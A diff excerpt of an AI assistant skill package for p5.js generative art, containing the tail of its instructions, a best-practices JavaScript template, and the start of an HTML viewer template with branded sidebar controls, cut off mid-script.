**CRITICAL**: The algorithmic philosophy should dictate what to build.
|
||||
|
||||
To express the philosophy through code, avoid thinking "which pattern should I use?" and instead think "how to express this philosophy through code?"
|
||||
|
||||
If the philosophy is about **organic emergence**, consider using:
|
||||
- Elements that accumulate or grow over time
|
||||
- Random processes constrained by natural rules
|
||||
- Feedback loops and interactions
|
||||
|
||||
If the philosophy is about **mathematical beauty**, consider using:
|
||||
- Geometric relationships and ratios
|
||||
- Trigonometric functions and harmonics
|
||||
- Precise calculations creating unexpected patterns
|
||||
|
||||
If the philosophy is about **controlled chaos**, consider using:
|
||||
- Random variation within strict boundaries
|
||||
- Bifurcation and phase transitions
|
||||
- Order emerging from disorder
|
||||
|
||||
**The algorithm flows from the philosophy, not from a menu of options.**
|
||||
|
||||
To guide the implementation, let the conceptual essence inform creative and original choices. Build something that expresses the vision for this particular request.
|
||||
|
||||
**Canvas Setup**: Standard p5.js structure:
|
||||
```javascript
|
||||
function setup() {
|
||||
createCanvas(1200, 1200);
|
||||
// Initialize your system
|
||||
}
|
||||
|
||||
function draw() {
|
||||
// Your generative algorithm
|
||||
// Can be static (noLoop) or animated
|
||||
}
|
||||
```
|
||||
|
||||
### CRAFTSMANSHIP REQUIREMENTS
|
||||
|
||||
**CRITICAL**: To achieve mastery, create algorithms that feel like they emerged through countless iterations by a master generative artist. Tune every parameter carefully. Ensure every pattern emerges with purpose. This is NOT random noise - this is CONTROLLED CHAOS refined through deep expertise.
|
||||
|
||||
- **Balance**: Complexity without visual noise, order without rigidity
|
||||
- **Color Harmony**: Thoughtful palettes, not random RGB values
|
||||
- **Composition**: Even in randomness, maintain visual hierarchy and flow
|
||||
- **Performance**: Smooth execution, optimized for real-time if animated
|
||||
- **Reproducibility**: Same seed ALWAYS produces identical output
|
||||
|
||||
### OUTPUT FORMAT
|
||||
|
||||
Output:
|
||||
1. **Algorithmic Philosophy** - As markdown or text explaining the generative aesthetic
|
||||
2. **Single HTML Artifact** - Self-contained interactive generative art built from `templates/viewer.html` (see STEP 0 and next section)
|
||||
|
||||
The HTML artifact contains everything: p5.js (from CDN), the algorithm, parameter controls, and UI - all in one file that works immediately in claude.ai artifacts or any browser. Start from the template file, not from scratch.
|
||||
|
||||
---
|
||||
|
||||
## INTERACTIVE ARTIFACT CREATION
|
||||
|
||||
**REMINDER: `templates/viewer.html` should have already been read (see STEP 0). Use that file as the starting point.**
|
||||
|
||||
To allow exploration of the generative art, create a single, self-contained HTML artifact. Ensure this artifact works immediately in claude.ai or any browser - no setup required. Embed everything inline.
|
||||
|
||||
### CRITICAL: WHAT'S FIXED VS VARIABLE
|
||||
|
||||
The `templates/viewer.html` file is the foundation. It contains the exact structure and styling needed.
|
||||
|
||||
**FIXED (always include exactly as shown):**
|
||||
- Layout structure (header, sidebar, main canvas area)
|
||||
- Anthropic branding (UI colors, fonts, gradients)
|
||||
- Seed section in sidebar:
|
||||
- Seed display
|
||||
- Previous/Next buttons
|
||||
- Random button
|
||||
- Jump to seed input + Go button
|
||||
- Actions section in sidebar:
|
||||
- Regenerate button
|
||||
- Reset button
|
||||
|
||||
**VARIABLE (customize for each artwork):**
|
||||
- The entire p5.js algorithm (setup/draw/classes)
|
||||
- The parameters object (define what the art needs)
|
||||
- The Parameters section in sidebar:
|
||||
- Number of parameter controls
|
||||
- Parameter names
|
||||
- Min/max/step values for sliders
|
||||
- Control types (sliders, inputs, etc.)
|
||||
- Colors section (optional):
|
||||
- Some art needs color pickers
|
||||
- Some art might use fixed colors
|
||||
- Some art might be monochrome (no color controls needed)
|
||||
- Decide based on the art's needs
|
||||
|
||||
**Every artwork should have unique parameters and algorithm!** The fixed parts provide consistent UX - everything else expresses the unique vision.
|
||||
|
||||
### REQUIRED FEATURES
|
||||
|
||||
**1. Parameter Controls**
|
||||
- Sliders for numeric parameters (particle count, noise scale, speed, etc.)
|
||||
- Color pickers for palette colors
|
||||
- Real-time updates when parameters change
|
||||
- Reset button to restore defaults
|
||||
|
||||
**2. Seed Navigation**
|
||||
- Display current seed number
|
||||
- "Previous" and "Next" buttons to cycle through seeds
|
||||
- "Random" button for random seed
|
||||
- Input field to jump to specific seed
|
||||
- Generate 100 variations when requested (seeds 1-100)
|
||||
|
||||
**3. Single Artifact Structure**
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<!-- p5.js from CDN - always available -->
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>
|
||||
<style>
|
||||
/* All styling inline - clean, minimal */
|
||||
/* Canvas on top, controls below */
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="canvas-container"></div>
|
||||
<div id="controls">
|
||||
<!-- All parameter controls -->
|
||||
</div>
|
||||
<script>
|
||||
// ALL p5.js code inline here
|
||||
// Parameter objects, classes, functions
|
||||
// setup() and draw()
|
||||
// UI handlers
|
||||
// Everything self-contained
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
**CRITICAL**: This is a single artifact. No external files, no imports (except p5.js CDN). Everything inline.
|
||||
|
||||
**4. Implementation Details - BUILD THE SIDEBAR**
|
||||
|
||||
The sidebar structure:
|
||||
|
||||
**1. Seed (FIXED)** - Always include exactly as shown:
|
||||
- Seed display
|
||||
- Prev/Next/Random/Jump buttons
|
||||
|
||||
**2. Parameters (VARIABLE)** - Create controls for the art:
|
||||
```html
|
||||
<div class="control-group">
|
||||
<label>Parameter Name</label>
|
||||
<input type="range" id="param" min="..." max="..." step="..." value="..." oninput="updateParam('param', this.value)">
|
||||
<span class="value-display" id="param-value">...</span>
|
||||
</div>
|
||||
```
|
||||
Add as many control-group divs as there are parameters.
|
||||
|
||||
**3. Colors (OPTIONAL/VARIABLE)** - Include if the art needs adjustable colors:
|
||||
- Add color pickers if users should control palette
|
||||
- Skip this section if the art uses fixed colors
|
||||
- Skip if the art is monochrome
|
||||
|
||||
**4. Actions (FIXED)** - Always include exactly as shown:
|
||||
- Regenerate button
|
||||
- Reset button
|
||||
- Download PNG button
|
||||
|
||||
**Requirements**:
|
||||
- Seed controls must work (prev/next/random/jump/display)
|
||||
- All parameters must have UI controls
|
||||
- Regenerate, Reset, Download buttons must work
|
||||
- Keep Anthropic branding (UI styling, not art colors)
|
||||
|
||||
### USING THE ARTIFACT
|
||||
|
||||
The HTML artifact works immediately:
|
||||
1. **In claude.ai**: Displayed as an interactive artifact - runs instantly
|
||||
2. **As a file**: Save and open in any browser - no server needed
|
||||
3. **Sharing**: Send the HTML file - it's completely self-contained
|
||||
|
||||
---
|
||||
|
||||
## VARIATIONS & EXPLORATION
|
||||
|
||||
The artifact includes seed navigation by default (prev/next/random buttons), allowing users to explore variations without creating multiple files. If the user wants specific variations highlighted:
|
||||
|
||||
- Include seed presets (buttons for "Variation 1: Seed 42", "Variation 2: Seed 127", etc.)
|
||||
- Add a "Gallery Mode" that shows thumbnails of multiple seeds side-by-side
|
||||
- All within the same single artifact
|
||||
|
||||
This is like creating a series of prints from the same plate - the algorithm is consistent, but each seed reveals different facets of its potential. The interactive nature means users discover their own favorites by exploring the seed space.
|
||||
|
||||
---
|
||||
|
||||
## THE CREATIVE PROCESS
|
||||
|
||||
**User request** → **Algorithmic philosophy** → **Implementation**
|
||||
|
||||
Each request is unique. The process involves:
|
||||
|
||||
1. **Interpret the user's intent** - What aesthetic is being sought?
|
||||
2. **Create an algorithmic philosophy** (4-6 paragraphs) describing the computational approach
|
||||
3. **Implement it in code** - Build the algorithm that expresses this philosophy
|
||||
4. **Design appropriate parameters** - What should be tunable?
|
||||
5. **Build matching UI controls** - Sliders/inputs for those parameters
|
||||
|
||||
**The constants**:
|
||||
- Anthropic branding (colors, fonts, layout)
|
||||
- Seed navigation (always present)
|
||||
- Self-contained HTML artifact
|
||||
|
||||
**Everything else is variable**:
|
||||
- The algorithm itself
|
||||
- The parameters
|
||||
- The UI controls
|
||||
- The visual outcome
|
||||
|
||||
To achieve the best results, trust creativity and let the philosophy guide the implementation.
|
||||
|
||||
---
|
||||
|
||||
## RESOURCES
|
||||
|
||||
This skill includes helpful templates and documentation:
|
||||
|
||||
- **templates/viewer.html**: REQUIRED STARTING POINT for all HTML artifacts.
|
||||
- This is the foundation - contains the exact structure and Anthropic branding
|
||||
- **Keep unchanged**: Layout structure, sidebar organization, Anthropic colors/fonts, seed controls, action buttons
|
||||
- **Replace**: The p5.js algorithm, parameter definitions, and UI controls in Parameters section
|
||||
- The extensive comments in the file mark exactly what to keep vs replace
|
||||
|
||||
- **templates/generator_template.js**: Reference for p5.js best practices and code structure principles.
|
||||
- Shows how to organize parameters, use seeded randomness, structure classes
|
||||
- NOT a pattern menu - use these principles to build unique algorithms
|
||||
- Embed algorithms inline in the HTML artifact (don't create separate .js files)
|
||||
|
||||
**Critical reminder**:
|
||||
- The **template is the STARTING POINT**, not inspiration
|
||||
- The **algorithm is where to create** something unique
|
||||
- Don't copy the flow field example - build what the philosophy demands
|
||||
- But DO keep the exact UI structure and Anthropic branding from the template
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,223 +0,0 @@
|
||||
/**
|
||||
* ═══════════════════════════════════════════════════════════════════════════
|
||||
* P5.JS GENERATIVE ART - BEST PRACTICES
|
||||
* ═══════════════════════════════════════════════════════════════════════════
|
||||
*
|
||||
* This file shows STRUCTURE and PRINCIPLES for p5.js generative art.
|
||||
* It does NOT prescribe what art you should create.
|
||||
*
|
||||
* Your algorithmic philosophy should guide what you build.
|
||||
* These are just best practices for how to structure your code.
|
||||
*
|
||||
* ═══════════════════════════════════════════════════════════════════════════
|
||||
*/
|
||||
|
||||
// ============================================================================
|
||||
// 1. PARAMETER ORGANIZATION
|
||||
// ============================================================================
|
||||
// Keep all tunable parameters in one object
|
||||
// This makes it easy to:
|
||||
// - Connect to UI controls
|
||||
// - Reset to defaults
|
||||
// - Serialize/save configurations
|
||||
|
||||
let params = {
|
||||
// Define parameters that match YOUR algorithm
|
||||
// Examples (customize for your art):
|
||||
// - Counts: how many elements (particles, circles, branches, etc.)
|
||||
// - Scales: size, speed, spacing
|
||||
// - Probabilities: likelihood of events
|
||||
// - Angles: rotation, direction
|
||||
// - Colors: palette arrays
|
||||
|
||||
seed: 12345,
|
||||
// define colorPalette as an array -- choose whatever colors you'd like ['#d97757', '#6a9bcc', '#788c5d', '#b0aea5']
|
||||
// Add YOUR parameters here based on your algorithm
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// 2. SEEDED RANDOMNESS (Critical for reproducibility)
|
||||
// ============================================================================
|
||||
// ALWAYS use seeded random for Art Blocks-style reproducible output
|
||||
|
||||
function initializeSeed(seed) {
|
||||
randomSeed(seed);
|
||||
noiseSeed(seed);
|
||||
// Now all random() and noise() calls will be deterministic
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 3. P5.JS LIFECYCLE
|
||||
// ============================================================================
|
||||
|
||||
function setup() {
|
||||
createCanvas(800, 800);
|
||||
|
||||
// Initialize seed first
|
||||
initializeSeed(params.seed);
|
||||
|
||||
// Set up your generative system
|
||||
// This is where you initialize:
|
||||
// - Arrays of objects
|
||||
// - Grid structures
|
||||
// - Initial positions
|
||||
// - Starting states
|
||||
|
||||
// For static art: call noLoop() at the end of setup
|
||||
// For animated art: let draw() keep running
|
||||
}
|
||||
|
||||
function draw() {
|
||||
// Option 1: Static generation (runs once, then stops)
|
||||
// - Generate everything in setup()
|
||||
// - Call noLoop() in setup()
|
||||
// - draw() doesn't do much or can be empty
|
||||
|
||||
// Option 2: Animated generation (continuous)
|
||||
// - Update your system each frame
|
||||
// - Common patterns: particle movement, growth, evolution
|
||||
// - Can optionally call noLoop() after N frames
|
||||
|
||||
// Option 3: User-triggered regeneration
|
||||
// - Use noLoop() by default
|
||||
// - Call redraw() when parameters change
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 4. CLASS STRUCTURE (When you need objects)
|
||||
// ============================================================================
|
||||
// Use classes when your algorithm involves multiple entities
|
||||
// Examples: particles, agents, cells, nodes, etc.
|
||||
|
||||
class Entity {
|
||||
constructor() {
|
||||
// Initialize entity properties
|
||||
// Use random() here - it will be seeded
|
||||
}
|
||||
|
||||
update() {
|
||||
// Update entity state
|
||||
// This might involve:
|
||||
// - Physics calculations
|
||||
// - Behavioral rules
|
||||
// - Interactions with neighbors
|
||||
}
|
||||
|
||||
display() {
|
||||
// Render the entity
|
||||
// Keep rendering logic separate from update logic
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 5. PERFORMANCE CONSIDERATIONS
|
||||
// ============================================================================
|
||||
|
||||
// For large numbers of elements:
|
||||
// - Pre-calculate what you can
|
||||
// - Use simple collision detection (spatial hashing if needed)
|
||||
// - Limit expensive operations (sqrt, trig) when possible
|
||||
// - Consider using p5 vectors efficiently
|
||||
|
||||
// For smooth animation:
|
||||
// - Aim for 60fps
|
||||
// - Profile if things are slow
|
||||
// - Consider reducing particle counts or simplifying calculations
|
||||
|
||||
// ============================================================================
|
||||
// 6. UTILITY FUNCTIONS
|
||||
// ============================================================================
|
||||
|
||||
// Color utilities
|
||||
function hexToRgb(hex) {
|
||||
const result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
|
||||
return result ? {
|
||||
r: parseInt(result[1], 16),
|
||||
g: parseInt(result[2], 16),
|
||||
b: parseInt(result[3], 16)
|
||||
} : null;
|
||||
}
|
||||
|
||||
function colorFromPalette(index) {
|
||||
return params.colorPalette[index % params.colorPalette.length];
|
||||
}
|
||||
|
||||
// Mapping and easing
|
||||
function mapRange(value, inMin, inMax, outMin, outMax) {
|
||||
return outMin + (outMax - outMin) * ((value - inMin) / (inMax - inMin));
|
||||
}
|
||||
|
||||
function easeInOutCubic(t) {
|
||||
return t < 0.5 ? 4 * t * t * t : 1 - Math.pow(-2 * t + 2, 3) / 2;
|
||||
}
|
||||
|
||||
// Constrain to bounds
|
||||
function wrapAround(value, max) {
|
||||
if (value < 0) return max;
|
||||
if (value > max) return 0;
|
||||
return value;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 7. PARAMETER UPDATES (Connect to UI)
|
||||
// ============================================================================
|
||||
|
||||
function updateParameter(paramName, value) {
|
||||
params[paramName] = value;
|
||||
// Decide if you need to regenerate or just update
|
||||
// Some params can update in real-time, others need full regeneration
|
||||
}
|
||||
|
||||
function regenerate() {
|
||||
// Reinitialize your generative system
|
||||
// Useful when parameters change significantly
|
||||
initializeSeed(params.seed);
|
||||
// Then regenerate your system
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 8. COMMON P5.JS PATTERNS
|
||||
// ============================================================================
|
||||
|
||||
// Drawing with transparency for trails/fading
|
||||
function fadeBackground(opacity) {
|
||||
fill(250, 249, 245, opacity); // Anthropic light with alpha
|
||||
noStroke();
|
||||
rect(0, 0, width, height);
|
||||
}
|
||||
|
||||
// Using noise for organic variation
|
||||
function getNoiseValue(x, y, scale = 0.01) {
|
||||
return noise(x * scale, y * scale);
|
||||
}
|
||||
|
||||
// Creating vectors from angles
|
||||
function vectorFromAngle(angle, magnitude = 1) {
|
||||
return createVector(cos(angle), sin(angle)).mult(magnitude);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 9. EXPORT FUNCTIONS
|
||||
// ============================================================================
|
||||
|
||||
function exportImage() {
|
||||
saveCanvas('generative-art-' + params.seed, 'png');
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// REMEMBER
|
||||
// ============================================================================
|
||||
//
|
||||
// These are TOOLS and PRINCIPLES, not a recipe.
|
||||
// Your algorithmic philosophy should guide WHAT you create.
|
||||
// This structure helps you create it WELL.
|
||||
//
|
||||
// Focus on:
|
||||
// - Clean, readable code
|
||||
// - Parameterized for exploration
|
||||
// - Seeded for reproducibility
|
||||
// - Performant execution
|
||||
//
|
||||
// The art itself is entirely up to you!
|
||||
//
|
||||
// ============================================================================
|
||||
@@ -1,599 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<!--
|
||||
THIS IS A TEMPLATE THAT SHOULD BE USED EVERY TIME AND MODIFIED.
|
||||
WHAT TO KEEP:
|
||||
✓ Overall structure (header, sidebar, main content)
|
||||
✓ Anthropic branding (colors, fonts, layout)
|
||||
✓ Seed navigation section (always include this)
|
||||
✓ Self-contained artifact (everything inline)
|
||||
|
||||
WHAT TO CREATIVELY EDIT:
|
||||
✗ The p5.js algorithm (implement YOUR vision)
|
||||
✗ The parameters (define what YOUR art needs)
|
||||
✗ The UI controls (match YOUR parameters)
|
||||
|
||||
Let your philosophy guide the implementation.
|
||||
The world is your oyster - be creative!
|
||||
-->
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Generative Art Viewer</title>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.7.0/p5.min.js"></script>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&family=Lora:wght@400;500&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
/* Anthropic Brand Colors */
|
||||
:root {
|
||||
--anthropic-dark: #141413;
|
||||
--anthropic-light: #faf9f5;
|
||||
--anthropic-mid-gray: #b0aea5;
|
||||
--anthropic-light-gray: #e8e6dc;
|
||||
--anthropic-orange: #d97757;
|
||||
--anthropic-blue: #6a9bcc;
|
||||
--anthropic-green: #788c5d;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Poppins', sans-serif;
|
||||
background: linear-gradient(135deg, var(--anthropic-light) 0%, #f5f3ee 100%);
|
||||
min-height: 100vh;
|
||||
color: var(--anthropic-dark);
|
||||
}
|
||||
|
||||
.container {
|
||||
display: flex;
|
||||
min-height: 100vh;
|
||||
padding: 20px;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
/* Sidebar */
|
||||
.sidebar {
|
||||
width: 320px;
|
||||
flex-shrink: 0;
|
||||
background: rgba(255, 255, 255, 0.95);
|
||||
backdrop-filter: blur(10px);
|
||||
padding: 24px;
|
||||
border-radius: 12px;
|
||||
box-shadow: 0 10px 30px rgba(20, 20, 19, 0.1);
|
||||
overflow-y: auto;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
.sidebar h1 {
|
||||
font-family: 'Lora', serif;
|
||||
font-size: 24px;
|
||||
font-weight: 500;
|
||||
color: var(--anthropic-dark);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.sidebar .subtitle {
|
||||
color: var(--anthropic-mid-gray);
|
||||
font-size: 14px;
|
||||
margin-bottom: 32px;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
/* Control Sections */
|
||||
.control-section {
|
||||
margin-bottom: 32px;
|
||||
}
|
||||
|
||||
.control-section h3 {
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
color: var(--anthropic-dark);
|
||||
margin-bottom: 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.control-section h3::before {
|
||||
content: '•';
|
||||
color: var(--anthropic-orange);
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Seed Controls */
|
||||
.seed-input {
|
||||
width: 100%;
|
||||
background: var(--anthropic-light);
|
||||
padding: 12px;
|
||||
border-radius: 8px;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
margin-bottom: 12px;
|
||||
border: 1px solid var(--anthropic-light-gray);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.seed-input:focus {
|
||||
outline: none;
|
||||
border-color: var(--anthropic-orange);
|
||||
box-shadow: 0 0 0 2px rgba(217, 119, 87, 0.1);
|
||||
background: white;
|
||||
}
|
||||
|
||||
.seed-controls {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1fr;
|
||||
gap: 8px;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.regen-button {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
/* Parameter Controls */
|
||||
.control-group {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.control-group label {
|
||||
display: block;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
color: var(--anthropic-dark);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.slider-container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.slider-container input[type="range"] {
|
||||
flex: 1;
|
||||
height: 4px;
|
||||
background: var(--anthropic-light-gray);
|
||||
border-radius: 2px;
|
||||
outline: none;
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
.slider-container input[type="range"]::-webkit-slider-thumb {
|
||||
-webkit-appearance: none;
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
background: var(--anthropic-orange);
|
||||
border-radius: 50%;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.slider-container input[type="range"]::-webkit-slider-thumb:hover {
|
||||
transform: scale(1.1);
|
||||
background: #c86641;
|
||||
}
|
||||
|
||||
.slider-container input[type="range"]::-moz-range-thumb {
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
background: var(--anthropic-orange);
|
||||
border-radius: 50%;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.value-display {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 12px;
|
||||
color: var(--anthropic-mid-gray);
|
||||
min-width: 60px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
/* Color Pickers */
|
||||
.color-group {
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.color-group label {
|
||||
display: block;
|
||||
font-size: 12px;
|
||||
color: var(--anthropic-mid-gray);
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.color-picker-container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.color-picker-container input[type="color"] {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
cursor: pointer;
|
||||
background: none;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.color-value {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 12px;
|
||||
color: var(--anthropic-mid-gray);
|
||||
}
|
||||
|
||||
/* Buttons */
|
||||
.button {
|
||||
background: var(--anthropic-orange);
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 10px 16px;
|
||||
border-radius: 6px;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.button:hover {
|
||||
background: #c86641;
|
||||
transform: translateY(-1px);
|
||||
}
|
||||
|
||||
.button:active {
|
||||
transform: translateY(0);
|
||||
}
|
||||
|
||||
.button.secondary {
|
||||
background: var(--anthropic-blue);
|
||||
}
|
||||
|
||||
.button.secondary:hover {
|
||||
background: #5a8bb8;
|
||||
}
|
||||
|
||||
.button.tertiary {
|
||||
background: var(--anthropic-green);
|
||||
}
|
||||
|
||||
.button.tertiary:hover {
|
||||
background: #6b7b52;
|
||||
}
|
||||
|
||||
.button-row {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.button-row .button {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
/* Canvas Area */
|
||||
.canvas-area {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
#canvas-container {
|
||||
width: 100%;
|
||||
max-width: 1000px;
|
||||
border-radius: 12px;
|
||||
overflow: hidden;
|
||||
box-shadow: 0 20px 40px rgba(20, 20, 19, 0.1);
|
||||
background: white;
|
||||
}
|
||||
|
||||
#canvas-container canvas {
|
||||
display: block;
|
||||
width: 100% !important;
|
||||
height: auto !important;
|
||||
}
|
||||
|
||||
/* Loading State */
|
||||
.loading {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 18px;
|
||||
color: var(--anthropic-mid-gray);
|
||||
}
|
||||
|
||||
/* Responsive - Stack on mobile */
|
||||
@media (max-width: 600px) {
|
||||
.container {
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.canvas-area {
|
||||
padding: 20px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<!-- Control Sidebar -->
|
||||
<div class="sidebar">
|
||||
<!-- Headers (CUSTOMIZE THIS FOR YOUR ART) -->
|
||||
<h1>TITLE - EDIT</h1>
|
||||
<div class="subtitle">SUBHEADER - EDIT</div>
|
||||
|
||||
<!-- Seed Section (ALWAYS KEEP THIS) -->
|
||||
<div class="control-section">
|
||||
<h3>Seed</h3>
|
||||
<input type="number" id="seed-input" class="seed-input" value="12345" onchange="updateSeed()">
|
||||
<div class="seed-controls">
|
||||
<button class="button secondary" onclick="previousSeed()">← Prev</button>
|
||||
<button class="button secondary" onclick="nextSeed()">Next →</button>
|
||||
</div>
|
||||
<button class="button tertiary regen-button" onclick="randomSeedAndUpdate()">↻ Random</button>
|
||||
</div>
|
||||
|
||||
<!-- Parameters Section (CUSTOMIZE THIS FOR YOUR ART) -->
|
||||
<div class="control-section">
|
||||
<h3>Parameters</h3>
|
||||
|
||||
<!-- Particle Count -->
|
||||
<div class="control-group">
|
||||
<label>Particle Count</label>
|
||||
<div class="slider-container">
|
||||
<input type="range" id="particleCount" min="1000" max="10000" step="500" value="5000" oninput="updateParam('particleCount', this.value)">
|
||||
<span class="value-display" id="particleCount-value">5000</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Flow Speed -->
|
||||
<div class="control-group">
|
||||
<label>Flow Speed</label>
|
||||
<div class="slider-container">
|
||||
<input type="range" id="flowSpeed" min="0.1" max="2.0" step="0.1" value="0.5" oninput="updateParam('flowSpeed', this.value)">
|
||||
<span class="value-display" id="flowSpeed-value">0.5</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Noise Scale -->
|
||||
<div class="control-group">
|
||||
<label>Noise Scale</label>
|
||||
<div class="slider-container">
|
||||
<input type="range" id="noiseScale" min="0.001" max="0.02" step="0.001" value="0.005" oninput="updateParam('noiseScale', this.value)">
|
||||
<span class="value-display" id="noiseScale-value">0.005</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Trail Length -->
|
||||
<div class="control-group">
|
||||
<label>Trail Length</label>
|
||||
<div class="slider-container">
|
||||
<input type="range" id="trailLength" min="2" max="20" step="1" value="8" oninput="updateParam('trailLength', this.value)">
|
||||
<span class="value-display" id="trailLength-value">8</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Colors Section (OPTIONAL - CUSTOMIZE OR REMOVE) -->
|
||||
<div class="control-section">
|
||||
<h3>Colors</h3>
|
||||
|
||||
<!-- Color 1 -->
|
||||
<div class="color-group">
|
||||
<label>Primary Color</label>
|
||||
<div class="color-picker-container">
|
||||
<input type="color" id="color1" value="#d97757" onchange="updateColor('color1', this.value)">
|
||||
<span class="color-value" id="color1-value">#d97757</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Color 2 -->
|
||||
<div class="color-group">
|
||||
<label>Secondary Color</label>
|
||||
<div class="color-picker-container">
|
||||
<input type="color" id="color2" value="#6a9bcc" onchange="updateColor('color2', this.value)">
|
||||
<span class="color-value" id="color2-value">#6a9bcc</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Color 3 -->
|
||||
<div class="color-group">
|
||||
<label>Accent Color</label>
|
||||
<div class="color-picker-container">
|
||||
<input type="color" id="color3" value="#788c5d" onchange="updateColor('color3', this.value)">
|
||||
<span class="color-value" id="color3-value">#788c5d</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Actions Section (ALWAYS KEEP THIS) -->
|
||||
<div class="control-section">
|
||||
<h3>Actions</h3>
|
||||
<div class="button-row">
|
||||
<button class="button" onclick="resetParameters()">Reset</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Main Canvas Area -->
|
||||
<div class="canvas-area">
|
||||
<div id="canvas-container">
|
||||
<div class="loading">Initializing generative art...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
// GENERATIVE ART PARAMETERS - CUSTOMIZE FOR YOUR ALGORITHM
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
let params = {
|
||||
seed: 12345,
|
||||
particleCount: 5000,
|
||||
flowSpeed: 0.5,
|
||||
noiseScale: 0.005,
|
||||
trailLength: 8,
|
||||
colorPalette: ['#d97757', '#6a9bcc', '#788c5d']
|
||||
};
|
||||
|
||||
let defaultParams = {...params}; // Store defaults for reset
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
// P5.JS GENERATIVE ART ALGORITHM - REPLACE WITH YOUR VISION
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
let particles = [];
|
||||
let flowField = [];
|
||||
